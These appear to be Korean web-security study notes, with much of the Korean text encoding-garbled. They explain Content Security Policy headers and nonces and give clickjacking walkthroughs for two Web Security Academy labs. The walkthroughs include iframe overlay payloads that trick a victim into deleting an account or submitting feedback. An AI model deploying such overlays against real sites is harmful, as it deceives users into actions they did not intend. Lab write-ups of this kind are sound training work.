CSP : ์ฝํ ์ธ ๋ณด์ ์ ์ฑ ์ด๋ผ๊ณ ๋ ํ๋ฉฐ XSS(Cross Site Scripting) ๊ณต๊ฒฉ์ ๋ฐฉ์งํ๊ธฐ ์ํด ๋ง๋ค์ด์ง ์ ์ฑ ์ด๋ฉฐ ์น ์ฌ์ดํธ ์์ ์๊ฐ ๊ท์น์ ์ ์ฉ.
<meta http-equiv="Content-Security-Policy" content="default-src https://cdn.example.net; child-src 'none'; object-src 'none'"> //frame-ancestors, report-uri, sandbox์์ ์ฌ์ฉ๋ถ๊ฐ
<?php
$headerCSP = "Content-Security-Policy:".
"default-src 'self';". // ๊ธฐ๋ณธ์ ์๊ธฐ ๋๋ฉ์ธ๋ง ํ์ฉ
"connect-src 'self' ;". // ajax url์ ์๊ธฐ ๋๋ฉ์ธ๋ง ํ์ฉ
"script-src 'self' example.com code.jquery.com https://ssl.google-analytics.com ;". // ์๊ธฐ์์ , ์ ๊ทผํ์ฉ ๋๋ฉ์ธ ์ค์
"style-src 'self' 'unsafe-inline';".
"report-uri https://example.com/csp_report.php;"; // ๋ณด์ ์ ์ฑ
์ค๋ฅ ๋ ํฌํธ URL ์ง์ (meta ํ๊ทธ์์ ์ฌ์ฉ๋ถ๊ฐ)
header($headerCSP);
<?php
$nonce_key = hash('sha256', microtime());
?> //ํด์ sha256์ ์ด์ฉํ์ฌ ๋์ ์์ฑ, php๋ก ํค๋ ์ค์ ๋๋ meta tag์ ์ฝ์
Content-Security-Policy: script-src 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa'
<script nonce=EDNnf03nceIOfn39fn3e9h3sdfa>
alert('ํด๋น ์คํฌ๋ฆฝํธ๋ ์ฌ์ฉ๊ฐ๋ฅํ ์ธ๋ผ์ธ ์คํฌ๋ฆฝํธ ์
๋๋ค.');
</script>
<script>
alert('ํด๋น ์คํฌ๋ฆฝํธ๋ ์ฌ์ฉ ๋ถ๊ฐ๋ฅํ ์ธ๋ผ์ธ ์คํฌ๋ฆฝํธ ์
๋๋ค.');
</script>
Content-Security-Policy
: W3C ๋ฌธ์๊ฐ ์ ์ํ ํ์ค ํค๋ ์ด๋ฆ. ๊ตฌ๊ธ ํฌ๋กฌ, ํ์ด์ด ํญ์ค, ์นํท ๋ฑ์ด ๋ฒ์ ์ ๋ฐ๋ผ ์ง์X-WebKit-CSP
: ๊ตฌํ์ด๋ฉฐ ์คํ์ ํค๋. ๊ตฌ๊ธ ํฌ๋กฌ ๋ฐ ๊ธฐํ ์นํท ๊ธฐ๋ฐ ๋ธ๋ผ์ฐ์ ์ ๋์
.X-Content-Security-Policy
: ๊ตฌํ์ด๋ฉฐ ์คํ์ ์ธ ํค๋. ๊ฒ์ฝ 2 ๊ธฐ๋ฐ ๋ธ๋ผ์ฐ์ ์ ๋์
.์ฐธ์กฐ : https://web.dev/csp/
CSP bypass๋ CSP๋ฅผ ์ฐํํ๋ ๊ณต๊ฒฉ ๋ฐฉ๋ฒ์ ๋งํจ.
์ถ์ฒ : https://hackerone.com/reports/799881
Clickjacking์ด๋ ์ฌ์ฉ์๊ฐ ์ธ์งํ์ง ๋ชปํ ํ๋ฉด์ด๋ ๋ฒํผ์ ํด๋ฆญํ๋ฉด ์๋ํ์ง ์์ ํ์๋ก ์ด์ด๋๋ก ํ๋ ํดํน ๊ธฐ๋ฒ์ ๋งํจ.
<style>
iframe {
position:relative;
width:700;
height: 500;
opacity:0.001;
z-index: 2;
}
div {
position:absolute;
top:500;
left:60;
z-index: 1;
}
</style>
<div>Test me</div>
<iframe src="https://0ac200010381cb0fc024110300670063.web-security-academy.net/my-account"></iframe>
์ด ์ฝ๋๋ฅผ body ์ฐฝ์ ์
๋ ฅํ์ฌ Delete account์ Test me๊ธ์๊ฐ ๊ฒน์น๋๋ก ์กฐ์ ํ ํ Deliver exploit to victim์ผ๋ก ์ ์ถํ๋ฉด ๋ฌธ์ ๋ฅผ ํด๊ฒฐ ํ ์ ์์.
2. Exploiting clickjacking vulnerability to trigger DOM-based XSS
๊ฐ์ฅ ์ฒ์ ๋ณด์ด๋ ํ๋ฉด์ผ๋ก Submit feedback์ ๋ค์ด๊ฐ์ Go to exploit server์ ๋ค์ด๊ฐ.
Submit feedback์ ๋ค์ด๊ฐ๋ฉด ํ๋ฉด ์๋์ ์๋ Submit feedback ๋ฒํผ๊ณผ ๊ฒน์น๋๋ก clickjacking์ ์คํํ์ฌ์ผ ํจ.
<style>
iframe {
position:relative;
width:700;
height: 500;
opacity: 0.5;
z-index: 2;
}
div {
position:absolute;
top:600;
left:80;
z-index: 1;
}
</style>
<div>Test me</div>
<iframe
src="https://0a2600c3040f435dc0c23bc7007c0039.web-security-academy.net/feedback"></iframe>
1๋ฒ ๋ฌธ์ ์ ๋์ผํ๊ฒ body ์ฐฝ์ ์์ ๊ฐ์ ์ฝ๋๋ฅผ ์ ๋ ฅํ๊ณ submit feedback ๋ฒํผ๊ณผ Test me๋ผ๋ ๊ธ์๊ฐ ๊ฒน์น๋๋ก ์กฐ์ ํ ํ Deliver exploit to victim์ผ๋ก ์ ์ถํ๋ฉด ๋ฌธ์ ๊ฐ ํด๊ฒฐ๋จ.